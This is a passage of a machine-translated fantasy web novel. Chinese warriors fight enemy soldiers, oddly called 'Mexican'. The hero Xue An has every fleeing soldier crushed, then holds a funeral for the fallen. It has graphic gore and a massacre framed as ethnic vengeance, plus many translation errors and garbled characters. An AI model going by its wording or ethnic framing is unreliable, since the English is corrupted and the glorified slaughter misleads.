    The ink armor outside was thinking about how to break through the city gate, but unexpectedly the city gate was opened, and then a group of Chinese rushed out.


    This group of Mexican soldiers couldn''t help being overjoyed.


    "Hey, these stupid Chinese people actually took the initiative to send it to the door!"


    "Brothers, destroy these Chinese people and take down the city. The first effort is ours!"


    These ink armor soldiers shouted loudly, and then rushed up with a grinning grin.


    In their understanding, these Chinese people have hard bones, but because they can''t cultivate, their bodies are very weak, and they are not the opponents of their own fully armed soldiers.


    But this time they were wrong.


    Xiao Shui looked at the Black Armored soldiers rushing like wolves and tigers, and said in a deep voice, "Finalize!"


    With his order, these Chinese warriors quickly changed their formations, from the marching formations they had just started to the defensive formations, facing the ink armour regiments that were flooding like water.


    If you look down from the sky, you can see such a spectacular scene.


    The Chinese side is yellow, and the ink armor is like a black tide.


    As soon as the two parties touched, it was as if an earth-yellow boulder was facing the surging tide.


    Although the tide was fierce, the earth-yellow boulder stood firm as if it had taken root.


    These Mexican soldiers were even more surprised.


    In their impression, no Chinese can survive a charge from these people!


    This time, they couldn''t shake these cold-faced Chinese fighters at all.


    In these ink armor soldiers in a daze.


    Xiao Shui said loudly: "All of you listen to the order, attack!"


    With an order, the eyes of these Chinese soldiers lit up with bloodthirsty rays, and the formation changed from the initial defense to the attack.


    A huge spear suddenly took shape, and then straight into these ink armoured regiments.


    A Chinese warrior slashed across and forced an ink-armored soldier back by half a step, but before the ink-armored soldier could react, the person following the Chinese soldier slashed out from another angle.


    Hearing a puff, the skull of the ink armor was chopped off.


    And until this person''s head fell to the ground, his dying incomprehension and fear remained in his eyes.


    I don''t seem to understand why these Chinese people suddenly become so powerful.


    The Chinese warriors were advancing at a very uniform pace, blood was everywhere, and people''s heads rolled everywhere they passed.


    No one can stop them from moving forward.


    After a while, the ink armoured group that played forward collapsed.


    These Ink Armored soldiers, who used to be proud of their strength, finally tasted the taste of fear, and they also tasted it from the Chinese people they usually despised the most.


    Seeing these Ink Armored soldiers who turned around, all the Chinese warriors and the Chinese people who watched the battle from the back burst into tears.


    Thousands of years of oppression, this time, they can finally stand up proudly.


    Although excited, these Chinese fighters are still advancing rigorously in accordance with the requirements of the battlefield.


    At this time, these defeated Black Armored soldiers rushed to the front of the rear position.


    "Asshole, who made you run back?" The soldiers supervising the war slashed and killed several Mexican soldiers, and then gave up.


    Because these Ink Armored soldiers seemed to have encountered something extremely terrifying, even if they were killed, they did not dare to go back to fight.


    "A bunch of rubbish! Even so little Chinese can''t clean up! The Black Dragon Army rushed to wipe out these Chinese people at the order!" Jiang Yaosi''s right-hand man was commanding the Mexican soldiers behind.


    Following his order, the Black Dragon Corps in the back formation slowly walked out.


    These people are different from the Mexican soldiers who are siege.


    Because they all wore heavy black armor with indifference on their faces.


    When they stood together, it was like an army coming out of hell.


    This is the real elite of the Chidori Kingdom, the Black Dragon Corps.


    Although I felt that the use of black dragon soldiers to eliminate these Chinese people was a little useless, but the situation forced the leader of the team to grinned.


    "Little ones, rush up and let these humble Chinese people know what the real elite is!"


    Hearing the words, the Black Dragon Corps stepped forward together, as if they were alone.


    This kind of power has made the many Chinese people watching the game change in color.


    But Xiao Shui was not afraid, and said loudly: "Brothers, the real elites of the Chidori Kingdom are in front of you. Only by defeating them can we wash away the Chinese people''s shame for thousands of years! From then on, we will never be affected by others. Look down! Don''t say too much! For the glory of the Chinese, charge!"


    Xiao Shui''s words made all the Chinese warriors look solemn, and their eyes gradually rose up with a frenzied fighting spirit.


    I don''t know who started it, and someone started singing softly.


    "Qi said that I have no clothes, and my son is in the same robe. Master Wang Yuxing, repair my spear. Have my hatred with my son!"


    At the beginning, the singing voice was very small, but soon, all the Chinese warriors started singing in unison.


    "Qi said Wuyi, and Zi Ze, Master Wang Yuxing, repair my spear. Work with Zi!


    Qi said that I have no clothes, and my son is in the same clothes, Wang Yuxing division, repair my armor. Go with the son! "


    To the back, the sound was loud.


    All the Chinese people heard tears in their eyes.


    Because this is a war song that has been handed down since the ancient Chinese.


    Once sung, it means that the Chinese soldiers will fight to the death.


    At this time, the Chinese warrior and the group of black dragon soldiers finally collided together.


    No screams, no shouts.


    Some are just the sound of swords breaking through the air, the squashing of armor and skin being cut, the splashing of blood, and the sound of the body falling to the ground.


    All this constitutes a cruel death movement.


    Almost in the blink of an eye, a third of the Chinese soldiers and these black dragon soldiers were killed.


    This scene shocked the many Mexican soldiers who watched the battle behind.


    "How is it possible! How could these Chinese people suddenly be so powerful?" The captain of the Black Dragon Corps cried out in shock.


    At this time, the Chinese soldiers were still marching stubbornly, stepping on the corpses and blood of their compatriots.


    But these black dragon soldiers are indeed the elite of the elite. Even with so many casualties, they still did not retreat, and they fought with these Chinese warriors.


    Xiao Shui knocked down a black dragon soldier with a sword, and at this time he was already deeply encircled.


    But at this moment, all the Chinese warriors seemed to have negotiated. They all stepped forward and started a brutal killing like one life for another Xiao Shui watched a seventeen eighteen. The year-old boy rushed to a black dragon soldier, and when the spear in his hand pierced the black dragon soldier, the swords of the two dragon soldiers next to him had been inserted into his chest.


    But the young man didn''t have the slightest fear on his face, even the corners of his mouth raised, revealing a smile of relief, and then firmly grasped the two long swords with both hands, and shouted with the last trace of strength.


    "Chinese, charge!"


    Such a cruel scene shocked all the black armored soldiers, and even the black dragon soldiers who had never known fear had a look of fear in their eyes.


    And all the Chinese people have burst into tears.


    There was a mist of rain in the sky, and it seemed that even God couldn''t stand it anymore.


    Xiao Shui wiped away tears. Holding a long sword, roared.


    "Chinese shame, from today, from the beginning of this battle! Charge! Immortal endlessly!" Invincible, starting from Dad Xianzun

 Chapter 585： 1 not left

    The Black Dragon Corps finally retreated.


    They may be fearless, they may not be afraid of death.


    But when they faced such a group of fighters who had been completely crazy, the fear from the heart still made them involuntarily slowly back away.


    Many soldiers watching the battle in the rear were also dumbfounded.


    At this time, Jiang Yaosi, who was having fun in the big tent, had also learned the news, and when he heard the news, he couldn''t help being shocked.


    "This...what about this?" Jiang Yaosi asked with a dull expression.


    "Lord, I think we need to send powerful masters to disperse the formation of these Chinese fighters. In my opinion, the reason why these Chinese fighters are so strong is all because of the battle formation they use!" The commanding staff said respectfully.


    "What are you waiting for! Send someone there!"


    "You masters would not listen to us without your handwriting!"


    "Oh!" Jiang Yaosi remembered that he was the commander in chief, and hurriedly took out his military seal.


    "Hurry up and send troops!"


    "Yes!"


    Soon, the masters who had been stationed in the barracks all appeared.


    These people are high-end combat power in the army.


    The cultivation base is basically at the peak of happiness or the realm of heaven and human.


    When they learned that their mission was to disperse the formation of these Chinese warriors, all these people were a little disapproved.


    "This is too simple! It''s just a group of Chinese! Can''t you even deal with this?" Although these people complained a few words, but the military order was like a mountain, they rushed up according to the order.


    As soon as they went up, the Black Dragon Corps, which had been struggling to support, couldn''t help but breathe out, and quickly retreated.


    There was also a loud reminder, "Masters, be careful, these Chinese people are a little weird!"


    These cultivators laughed grinningly when they heard the words, "No matter how weird there are, it is a group of waste chaihua people who can''t cultivate, look at us!"


    After all, they have rushed to the front.


    Because this group of people all have cultivation bases, as soon as they came into contact, there were casualties on the Chinese side.


    Although the battle formation left by Xue An is infinitely powerful, it can only be effective when the strength gap is not that large.


    When the gap between each other''s strength is too large, it is basically difficult to play any role.


    Xiao Shui witnessed a Chinese warrior who was smashed into the chest with a punch by a cultivator, but even so, the Chinese warrior still dragged the cultivator and refused to let go.


    In the end, the cultivator unscrewed the hand of the Chinese warrior.


    This brutal scene made Xiao Shui''s eyes red.


    At this time, the rain in the sky is getting heavier.


    All the Chinese fighters were basically injured, but no one retreated.


    Xiao Shui shouted angrily, "Change the defensive formation."


    All the soldiers gathered around and formed a defensive formation.


    At this time, their casualties were halfway through, but they still looked at each other murderously.


    These cultivators were not in a hurry, but wandered around, as if playing, consuming the physical strength of the Chinese.


    The situation is deadlocked.


    And these practitioners shouted with a grinning smile: "It''s useless, you are born Chinese, so you can only be humble slaves for a lifetime! Because you can''t cultivate at all! Trying to resist will only end in death! And we will kill your loved ones one by one in your presence!"


    With the grinning of these practitioners.


    really.


    I saw the black armored soldiers rushing forward while Xiao Shui and others were entangled by the repairmen and began to attack the city.


    The Chinese on the wall are old and weak women and children, but at this time, these old and weak women and children have also given up.


    Everyone is doing their best to guard this last lifeline.


    But for ordinary Chinese like them, these black armored soldiers are like **** demon gods, and they are hard to shake.


    Xiao Shui''s eyes were cracking, and the Chinese warriors behind him were also frightened.


    These cultivators and all the soldiers who were watching the battle behind all showed triumphant smiles.


    "Hehe, after the city is broken, all the Chinese will be buried alive! Don''t leave alive!" Jiang Yaosi said with a grin.


    As soon as the voice fell, there was a thunder in the sky.


    Then came the rumbling sound of thunder.


    This sound shocked the world and calmed the chaotic battlefield.


    At the same time, I heard a voice full of killing intent coming from Skyrim.


    "Who dares to deceive me Chinese?"


    Hearing this voice, Xiao Shui and all the Chinese were startled, and then all expressions of excitement appeared on their faces.


    But these Mexican soldiers were all a little surprised.


    what happened?


    Who is speaking?


    Everyone looked up.


    Seeing a stream of light flying in the sky, it came to the sky in the blink of an eye.


    At this time, everyone could see that this streamer was actually a huge puppet.


    On the shoulders of the puppet stood a man and three women.


    The women all have delicate faces, especially the one with long hair that reaches the waist, which is simply beautiful and thrilling.


    But no one noticed them at this time.


    All eyes were attracted by the man standing on top of the puppet''s head.


    This person wins the snow in white, standing proudly, his face is like a sword and axe, full of fatal attraction, especially his eyes, like the ocean, are extremely deep and daunting.


    Seeing him, Xiao Shui''s eyes burst into tears, "It''s Brother Ang! Brother Ang is back!"


    As for the other Chinese, they were even more excited and burst into tears.


    Xue An stood on top of the puppet''s head and looked down at the battlefield below, his face gradually showing cold killing intent.


    "Very goodSince I dare to kill my Chinese nationality, I won''t keep any of them!"


    At this time, the cultivators and Jiang Yaosi and others all came to their senses, and they all laughed when they heard Xue An''s words.


    "It''s a big tone, don''t keep one? Do you know who I am?" Jiang Yaosi said with a sneer.


    "Oh? Dare to ask who you are?" Liu Keke said grinningly.


    Jiang Yaosi was quite excited when he saw this most beautiful woman actually smiled at herself, and said proudly.


    "I am the general of the Thousand Birds Nation, and the Monarch is my uncle. What is this Chinese man? How dare to talk to me like this? But if you are a beauty, if you are willing to talk to me, then I can consider letting him go!"


    Jiang Yaosi looked at Liu Keke greedily with a sorrowful expression on his face.


    King Chidori?


    Liu Keke was slightly startled when he heard the words, and then looked at Xue An.


    "Senior, wasn''t that hapless Chidori Monarch beheaded by you with a single sword?"


    Jiang Yaosi laughed at the words, "Beauty, you also believe the rumors outside, I..."


    Before the latter words were finished, Xue An stretched out his hand, and Jiang Yaosi flew directly into the air and flew towards Xue An''s hand.


    "You...what are you doing? Save me!" Jiang Yaosi yelled out of fright in the air.

 Chapter 586： Heroes should be treated like heroes

    These cultivators roared together, "I''m so bold, I dare to hold Master General!"


    As they said, they flew up and rushed towards Xue An in mid-air.


    At this moment, Jiang Yaosi has been captured by Xue An.


    And those cultivators also rushed to the front.


    Xue An didn''t even look at these guys.


    Exploded with a punch casually.


    The cultivator who rushed forward didn''t even have a chance to evade, and was directly bombarded by this punch.


    Then the fist did not disappear, and it slammed into the repairers behind.


    These cultivators are a little better than the ones who have just died, at least they have time to shout.


    But that''s it.


    After hearing only a few screams, fireworks exploded one after another as if fireworks were set off in the sky.


    The blood wafted like rain and mist.


    Shrouded the entire battlefield.


    Everyone is stupid.


    Because these cultivators who were just showing off their power were killed by the Chinese man with a single punch.


    Jiang Yaosi also looked silly.


    It wasn''t until this time that he understood what kind of existence he had provoked.


    The disgusting blood made him feel hot in his hips, he was scared to urinate, and then said incoherently.


    "I am..."


    Xue An shook his head and said lightly: "I have already said that your uncle has been cut by my sword. Now I will send you on the road."


    "No... don''t!" Jiang Yaosi believed that it was not a rumor but a fact.


    But it was too late to regret.


    Seeing Xue An''s eyes narrowed slightly, the puppet under his feet raised a huge palm, directly grabbed Jiang Yaosi, and then shook it suddenly.


    The scream stopped abruptly, and blood leaked from the fingers of the puppet.


    When I let go of my hand, there was only a mass of rotten flesh and blood, no one could tell it was a person.


    Such a brutal method caused many Mexican soldiers to take a breath.


    Especially when they heard that their monarch was dead, they didn''t have the will to fight.


    Retreated one after another.


    But Xue An obviously did not intend to let them go.


    He patted the puppet''s head and said lightly: "I''ll leave it to you, don''t keep one!"


    The puppet nodded meekly.


    Liu Keke looked dumbfounded.


    Why is it easier for seniors to control this puppet than himself?


    Then Xue An leaped down with everyone and returned to the Chinese camp.


    Xiao Shui came over with excitement, "Brother Ang!"


    Xue An nodded.


    At this time, a real killing began.


    I saw that the mechanical puppet''s figure began to skyrocket again, reaching a hundred feet tall in the blink of an eye.


    Then, like stepping on ants, they began to rampage among these scattered ink armoured regiments.


    Although these Ink Armored soldiers ran very fast, they were still not worth mentioning in front of this hundred feet tall giant.


    Often, dozens or even hundreds of Ink Armored soldiers were trampled to pieces by one foot.


    Such terrifying lethality completely destroyed the fighting will of these Mexican soldiers.


    Everyone can''t wait to escape this **** quickly.


    But Xue An has already ordered, not to keep one!


    In the head of this mechanical puppet, there is nothing more important than an order.


    So he simply bent over, stretched out both hands, and directly held the group of soldiers who ran the farthest in their hands.


    These soldiers screamed in fright.


    But the puppet didn''t care about these at all, and he held his palm.


    These people were crumpled into meatloaf.


    In short, this killing lasted for a quarter of an hour.


    It wasn''t until there was no more black armored soldier alive in the field that the mechanical puppet stopped and turned back to Xue An.


    Xue An nodded, "Okay! Good job!"


    Hearing what Xue An said, the figure of the mechanical puppet gradually shrank back.


    "Let''s go back to the city!" Xue An said lightly.


    When they returned to the Thousand Birds City, all the Chinese people looked at Xue An with respectful eyes.


    As for the people of other races, they were all silent, afraid to breathe.


    With the power of this battle, the Chinese finally turned over.


    No one dares to look down upon the Chinese.


    At least not in this Chidori City.


    After Xiaoshui settled down the injured Chinese soldiers, he came to see Xue An.


    After these days of training and fighting on the battlefield, this former teenager has quickly matured.


    His words became more calm and sophisticated.


    Xue An appreciates this.


    "Brother Ang!" Xiao Shui said with a hand.


    Xue An nodded, then glanced at Xiao Shui''s bandaged arm, "Are you injured too?"


    Xiao Shui smiled nonchalantly, "It''s nothing more than a little skin trauma!"


    Speaking of this, he looked sad and lowered his head a little sadly, "Many brothers have died in battle. Compared with them, I am lucky."


    Xue An was silent for a while, and then sighed softly, "Has the body converged back?"


    Xiao Shui nodded, "They have all converged back, and are going to be incinerated tomorrow."


    "Does everyone have a name?"


    Xiao Shui shook his head, "Most of them are untestable, only some of them left their names!"


    Speaking of this, Xiao Shui''s eyes were red again.


    Xue An nodded, "Prepare for a memorial meeting tomorrow!"


    Xiao Shui was taken aback.


    Xue An looked at the continuous rain outside the window, and whispered: "To fight to death for the people of the tribe to stop being bullied, they are all heroes, and heroes deserve the treatment of heroes."


    Xiao Shui looked solemn upon hearing this, and nodded solemnly.


    "Yes!"


    Then turned around and went down to prepare.


    Looking at Xiao Shui''s back, Liu Keke exclaimed: "The Chinese are indeed a troubled nation!"


    "Huh? Why do you say that?" Xue An asked.


    "Ah, nothing, just sigh casually, but I think these compatriots of the predecessors should have been trafficked from the ancient Chinese country in the east of Zhongzhou."


    Xue An''s eyes light upGu Huaguo? "


    Liu Keke nodded, "At the eastern end of Zhongzhou, bordering the Yaozu mountain range, there is a country established by Chinese people. I have passed there. The diligence and kindness of those Chinese people moved me very much, but this country is so close to it. The monster mountain range is deeply affected by the evil evil!"


    Xue An was silent for a moment, and then said: "What do you plan to do if you want me to help you improve the puppet''s strength?"


    When mentioning this, Liu Keke smiled bitterly, "Because the Thousand Clan Conference in Zhongzhou is about to be held!"


    "Thousand Clan Conference?"


    Liu Keke nodded, "Yes, the Thousand Race Conference, this is also the most important gathering in the entire continent! At that time, all the cultivators of the entire continent and all ethnic groups will participate, so it is named the Thousand Race Conference!"


    Xue An nodded non-committal.


    Liu Keke continued.


    "But I don''t have the slightest confidence in my own strength. If I lose at the Thousand Races Conference, then I will lose my current freedom, and may even be given to others by the teacher as a gift!"


    At the end, Liu Keke''s expression became sad.


    Being an extremely beautiful woman means that many times you have to work harder than ordinary people, otherwise people will only pay attention to your appearance and forget your strength.


    That''s how Liu Keke is.

 Chapter 587： Not afraid of death, but forgotten

    "Okay, I can help you!"


    Liu Keke was overjoyed, "Thank you, senior."


    "No thanks, I helped you completely because of the few words you just said."


    "A few words?" Liu Keke still didn''t understand.


    Xue An stood in front of the window and said lightly: "The Chinese are indeed a troubled nation, whether in this world or in the human world! But the more so, the harder the bones of this nation! "


    Liu Keke''s expression gradually became awe-inspiring, because she thought of those Chinese soldiers on the battlefield who were still smiling even in the face of death.


    Then Xue An turned around and smiled at Liu Keke, "Is there any Chinese attending this Thousand Clan Conference before?"


    Liu Coco looked awkward.


    "Go ahead, don''t worry."


    Liu Keke gritted his teeth, "It is true, but everyone who goes there will be teased to death every time."


    As soon as I finished speaking, it was as if a gust of wind was blowing in the room, and the strong and almost substantive murderousness made all the utensils in this room shattered into dust.


    Then Xue An raised his eyebrows, "Teasing...to death?"


    Liu Keke nodded hard, a look of horror appeared in his eyes.


    Because of the murderous intensity, she was a little breathless.


    At this time, Xue An took a deep breath, and the murderous aura instantly disappeared invisible.


    "Let''s talk about it, what''s going on!"


    Liu Keke pondered for a moment, and then said in a deep voice: "Every time the Thousand Races Conference, Gu Huaguo will send people to participate, but because the Chinese cannot practice, the strength will always be the bottom one."


    "And... and there are many sects or demons who take pleasure in the Chinese sent to play, and the result is often that the Chinese are teased to death."


    The more Liu Keke spoke behind, the more his voice trembled.


    Because Xue An''s eyes were simply terrifying.


    Not the kind of cold eyes full of murderousness.


    On the contrary, it was very calm, without the slightest wave of peace.


    But the more so, the more Liu Keke felt cold all over.


    Because the bigger the upcoming storm, the calmer it is.


    "Go on." Xue An said lightly.


    "In the beginning, people thought that after a few consecutive deaths, the people of the ancient Chinese nation would give up, but they never thought that the ancient Chinese or the Chinese people never gave up. Every time the Thousand Race Conference, they would give up. Send someone."


    Speaking of this, Liu Keke''s face showed a touch of respect.


    "I once asked a Chinese teenager who was sent to participate, aren''t you afraid? After all, the Chinese who came to the Thousand Races Conference basically did not survive."


    "But this young man just smiled at the time, and then said in a relaxed tone that I had never expected, even if they die, they will come! Because the Chinese are also a race among a thousand races, if they don��t come because they are afraid of death, So after waiting for a long time, maybe everyone has really forgotten the existence of the Chinese. They are not afraid of death, they are just afraid of being forgotten."


    Xue An looked cold, but when he heard the last words, his eyes trembled slightly.


    "In the end, this young man was tortured to death by a demon! I still remember his dying smile."


    Liu Keke raised his head with tears in his eyes, "Senior, please forgive me for not being able to save him at the time, but I was just a fledgling little girl at the time!"


    Xue An waved his hand, "I understand, no wonder you!"


    Then he said lightly: "When will the Thousand Race Conference be held?"


    "Three months later!"


    "Well, I''ll go with you when the time comes!"


    Liu Keke''s heart tightened, and he glanced at Xue An, who was indifferent.


    If the predecessors appeared at the Thousand Races Conference, it would have set off a real **** storm.


    The second day.


    Sunny after rain.


    Just above the open space in front of Chidori City.


    The remains of Chinese soldiers were neatly placed on a temporary stand.


    Although Xiao Shui tried his best to let every Chinese warrior who died in battle go completely.


    But there are still many soldiers whose remains are really missing.


    In desperation, the paper craftsmen had to use paper to paste out their arms and legs to put together the remains.


    Xue An stood in front with a pot of wine.


    Behind him is Xiaoshui and all the Chinese people.


    No one spoke, everyone looked at everything in front of them with red eyes.


    Some people have already started to whisper.


    At this time, Xue An poured a glass of wine and slowly spilled it on the ground, saying solemnly.


    "The dust returns to the dust to the earth. If you die for the Chinese people, you are the souls of the Chinese people. I hope that your souls will not disperse, and you will enter the reincarnation early, and then be the Chinese people!"


    With that said, Xue An Linkong wrote out a talisman seal and chuckled softly, "Go! Remember not to look back on Huangquan Road!"


    This talisman exudes a golden light, and then disappears.


    And some of these Chinese warriors, some of whom have not closed their eyes, finally closed their eyes with a smile.


    Seeing this scene, almost all Chinese people burst into tears.


    I don''t know who opened the head, and in the sound of crying, people began to sing that war song again.


    "Qi said that I have no clothes, and my son is the same robe. Master Wang Yuxing, repair my spear. Have my hatred!


    ����. "


    The louder the voice shouted, and in the end it shook the sky, causing the white clouds in the sky to retreat.


    After the memorial ceremony, Xue An lit the fire with his own hands.


    As the flames rose, these Chinese fighters turned into a wisp of blue smoke, free and unrestrained.


    When the incineration was completed, the Chinese people packed the ashes into a jar and prepared to take them home.


    If you can''t go back to life, you must be buried in your hometown when you die.


    When everything is done.


    Xue An called Xiao Shui over, and the first sentence was, "What are you going to do next?"


    Xiao Shui answered without hesitation, "Go home!"


    "Gu Huaguo?"


    "Yes!"


    Xue An nodded, "Well, I will take you home, but not now!"


    Xiao Shui was startled.


    Xue An pointed to the distance, "The King Chidori is dead, and his army is almost dead Is such a large area of ??land so wasteful?"


    "Angel wants to..."


    Xue An nodded, "Although we have killed all the Ink Armored soldiers, it is not enough. You must let these people know that they are good!"


    Xiao Shui nodded solemnly, "Understood!"


    In the following days, Xue An casually refined some medicines for healing and health, and distributed them to all the Chinese.


    After a period of recuperation, under the leadership of Xiaoshui, he began to conquer the entire Chidori Kingdom.


    At this time, with the death of King Chidori, the entire Chidori Kingdom has become a mess.


    In particular, even the Ink Armored Corps was slaughtered by Xue An, and it was unable to suppress this chaotic situation.


    At this time, the Chinese fighters emerged in a new force, and successively eliminated many forces that had oppressed the Chinese.


    At this time, many people regarded the Chinese as weak and weak, and slapped everyone in the face with indisputable facts.


    Combine all the rumors before.


    The current Chinese are very famous in Thousand Birds.


    And this reputation also began to spread from the northwest border, and gradually spread to Zhongzhou.


    After the Chidori was put down, Xue An took everyone to Zhongzhou, preparing to participate in the Thousand Clan Conference.

 Chapter 588： Fortunately, Mr. Fox I can aim accurately

    This is a small city located deep in the Yaozu mountain range.


    It is also called Moonlight City because it produces the Moonstone, which is very important to the Yaozu.


    Moonlight City is not too big, but there are many clans, mixed with fish and dragons.


    And because of the veins of spirit stone, this small city is very prosperous even though the mountains are far away from the demon capital.


    late at night.


    Many people have fallen asleep, and the noisy town is quiet.


    Only in the distance still faintly heard the sound of women laughing.


    That is the fun fair in the city that is open all night.


    But in this remote alley, there is a scene of a war that is about to break out.


    On his upper body, Geng Hu, who was covered with hideous patterns, opened his mouth and spit out a thick sputum, then greedily watched the woman on the opposite side, and smiled grimly: "Mu Qingwan, don''t talk nonsense. As long as you hand over Coolie Lane, I promise you will be well watered in the future. How about not violating the river?"


    Mu Qingwan sneered after hearing this, "Boss Geng, do you believe what you said?"


    Mu Qingwan''s voice was a little hoarse, and it was very fanciful.


    Geng Hu showed a faint smile, he hehe smiled, "Believe, how can you not believe it?"


    Mu Qingwan frowned slightly, and a murderous aura flashed across his cold face, "Boss Geng, let me make it clear, it is absolutely impossible for Coolie Lane to hand it over! You die early!"


    Geng Hu sneered when he heard the words, "Mu Qingwan, although I admire you for being able to establish a foothold in this Moonlight City as a human woman, don��t forget, this is the place of the monster race. It��s a place where you can speak by strength. Hard, who is the boss!"


    Mu Qingwan raised her eyebrows slightly, "Oh? So, boss Geng is planning to start with me, Mu Qingwan?"


    Geng Hu grinned and said, "So what?"


    Following his words, the subordinates standing behind him took a step forward, staring at Mu Qingwan and the others.


    In contrast, the people standing behind Mu Qingwan seemed much sparse, and there were a few women who immediately seemed a little inferior in their aura.


    Mu Qing turned his face down like water, seemed to be thinking about something, but did not speak.


    Geng Hu looked at Mu Qingwan with evil eyes, and the more he looked at it, the more prosperous it became.


    This Mu Qingwan was tall and dressed in a decently tailored moonlight brocade, revealing all the slender and moving curves.


    Her long black hair was simply twisted into a bun, and then pinned with a bamboo chopsticks, making it even more charming.


    Coupled with that cold face, which is like a knife cut, it is absolutely abstinent.


    Such a stunner naturally made Geng Hu''s heart fascinated, so after looking at it for a while, he laughed.


    "Of course, as long as you are willing to stay with me Tiger for one night, I don''t want that Coolie Lane, and I can help you deal with other people in the future, how about?"


    Hearing these words, the group of men behind him laughed loudly, and they all looked at Mu Qingwan narrowly.


    "Yes, since our boss! We will be a family from now on!"


    "Hey! Our boss is very powerful!"


    All of Mu Qingwan''s subordinates glared at the words, especially a little girl standing beside Mu Qingwan, so angry that her big eyes almost stared out, she stretched out her small spring onion hand and pointed at Geng Hu in the distance. Then he scolded.


    "You are a big tabby cat who doesn''t even know what his father is, and you want to get involved with Sister Qingwan? You don''t take any photos of soaking urine. You are good for a mountain spirit and a wild monster like you?"


    The curse was extremely ugly.


    Especially from such a thirteen or fourteen-year-old girl, the pattern on Geng Hu''s whole body turned red, and a pair of tiger eyes were full of murderous aura.


    "Bao''er, shut up! Why is a girl from a family''s family, speaking so badly?" Mu Qingwan said coldly.


    A Bao narrowed his mouth, "Sister Qing Wan, this kind of stuff is worthy of such words!"


    Geng Hu couldn''t hold back anymore and roared, "Little girl film, today I will put you in the room with Mu Qingwan!"


    As he said, his figure began to skyrocket, and a king character appeared on his forehead.


    It turned out that he was transformed by a tiger in the mountain, but now he is in his original form and his aura is amazing.


    "Jiejie, my little lady, it is too late to surrender now! Otherwise, if I inadvertently scratch your delicate skin, Lord Tiger, it won''t be good!" Geng Hu said with a grin.


    Mu Qingwan frowned slightly, knowing that he could no longer discuss it, and put his hand lightly on the saber around his waist, a cold light flashed in his eyes.


    In fact, she always wanted to avoid direct conflict with this Geng Hu.


    After all, there is indeed a gap in strength.


    But helpless, this stubborn tiger is aggressive, and it takes Coolie Lane to open his mouth.


    You know this coolie lane is the most important street for Mu Qingwan and the others.


    If you hand it over, it is equivalent to ruining your way.


    And Geng Hu actually knew that Mu Qingwan would definitely not hand over this Coolie Alley. He just wanted to use this excuse to force Mu Qingwan to submit.


    You know he has coveted Mu Qingwan for a long time.


    Now that the matter is over, it is useless to say more.


    Mu Qingwan was preparing to draw his sword.


    At this moment, A Bao on the side suddenly pointed to the sky behind Geng Hu and shouted in surprise.


    "Look, what is that?"


    Geng Hu grinned, "Little girl film, do you want to use the trick of a three-year-old kid to deceive me? You Hu, I''m not fooled."


    But at this moment, even Mu Qingwan looked at the distant sky with surprise.


    Because there was a stream of light falling from the sky, it was falling down quickly.


    And the location of the smash... is just above Geng Hu''s head.


    really.


    Just when Geng Hu''s voice just fell.


    The streamer crashed down and hit his head.


    Just listen to the boom.


    Geng Hu didn''t even say a word and he was smashed into the ground without making a sound.


    The audience was silent.


    Everyone stared blankly.


    A big hole appeared in the place where Geng Hu was standing just now.


    At the bottom of the pit, there was a humanoid thing lying on its stomach.


    "This...what the **** is going on? How can people fall from the sky? Where''s Lord Tiger?" Geng Hu''s men roared.


    At this time, a large swath of blood oozes from under this person.


    The atmosphere suddenly became weird.


    A Bao trembled: "Sister Qing Wan, this... this person is moving!"


    Mu Qingwan also felt a chill in his heart, yeah! How could someone suddenly fall from the sky?


    At this moment, the people at the bottom of the pit suddenly raised their heads, spit out the sand in their mouths, and then let out a breath almost like a groan.


    "Damn, fortunately, Lord Fox, I aimed accurately, otherwise I really fell to death!"


    After speaking, he slowly got up from the ground, looked at Geng Hu who had become a pool of fleshy under him, and curled his lips.


    "Boy, the blame is on your bad life, who made you the biggest one just now!"


    Then they raised their heads and rushed to the pit with a smile, "Hello everyone, haven''t you slept so late?"

 Chapter 589： Wait for me to get better!

    No one spoke, people all stared at this guy who fell from the sky.


    It was not until after a while that Geng Hu''s men shouted.


    "Not good! The boss was beaten to death!"


    "Kill this guy and avenge the boss!"


    "Rescue the boss first!"


    "Also save a fart! Didn''t you see that the boss is a meatloaf?"


    "Uuuuu, the boss was smashed quite smoothly!"


    Along with these messy shouts, all of Geng Hu''s men drew their swords and prepared to do something.


    This dear man who fell from the sky is naturally the hapless Fox Night.


    He was sucked into this Qi Luck chess game with Xue An.


    However, because of the turbulence of time and space, he actually appeared half a month later than Xue An.


    After a long time, Hu Ye finally appeared, but Hu Ye found that he was actually in the sky.


    And the cultivation base of the body is also restricted.


    So it fell from a high altitude.


    Huye was afraid that he would be thrown to death again, so he adjusted his posture as best as he could, and then looked for anything below that could catch him.


    So immortal, this Geng Hu just showed his true shape at the time.


    Hu Ye''s eyes lit up, and then he flew straight towards him.


    Now that Geng Hu was smashed to death, these men clamored to kill Huye to avenge their boss.


    Fox Ye trembled in her heart.


    I don''t have any cultivation skills now.


    I really want to die in the hands of these guys, it''s better to fall to death if it is spread out.


    Just when he was in doubt.


    Mu Qingwan had awakened from the shock just now. Seeing that Geng Hu was indeed dead, he knew that this was a golden opportunity, so he drew his sword resolutely and said coldly: "Kill!"


    Without Geng Hu, how could these subordinates be opponents of Mu Qingwan and others.


    However, after a few encounters, these subordinates were killed crying fathers and mothers. After leaving a dozen corpses, the rest fled in panic.


    Huye''s eyes gradually lit up.


    Because at this time, he discovered that this Mu Qingwan was so beautiful.


    Especially now.


    Mu Qingwan held the sword in one hand, the tip of the sword pointed diagonally at the ground, and the blood rolled down from the autumn water-like blade, making him look murderous, yet charming and charming.


    As if sensing Hu Ye''s gaze, Mu Qingwan turned and looked at him, just about to speak.


    Fox Ye could not wait to climb up from the pit, and stretched out her hand with a smile, "This beautiful girl, dare to ask what Fang''s name is, how old is this year? Is there a match? If so, do you mind having one more?"


    Mu Qingwan was slightly startled by the series of questions, "Uh..."


    A Bao on the side has already stepped forward with his hands on his hips and said with a disdainful face: "Hey, it''s almost like this one! Can I tell you the name of Qing Wan casually?"


    "Qing Wan..." Fox Ye''s eyes lit up, "Good name! It''s like the name, it''s fascinating!"


    There was a touch of confusion on Abao��s swollen bun��s face, and then he woke up and couldn��t help but angrily said: ��What a disciple, Sister Qing Wan, this guy has fallen from the sky and doesn��t know how he came. Fan!"


    Mu Qing waved his hand, signaled A Bao not to speak, and then said coldly at Fox Ye: "Are you a human or a demon? Why did you fall from the sky?"


    "Ahem, I forgot to introduce myself, I am a fox fairy, you can call me Master Fox Night! As for why I fell from the sky..."


    Fox Ye raised his head and looked at the bright moon in the sky, and his face was fascinated.


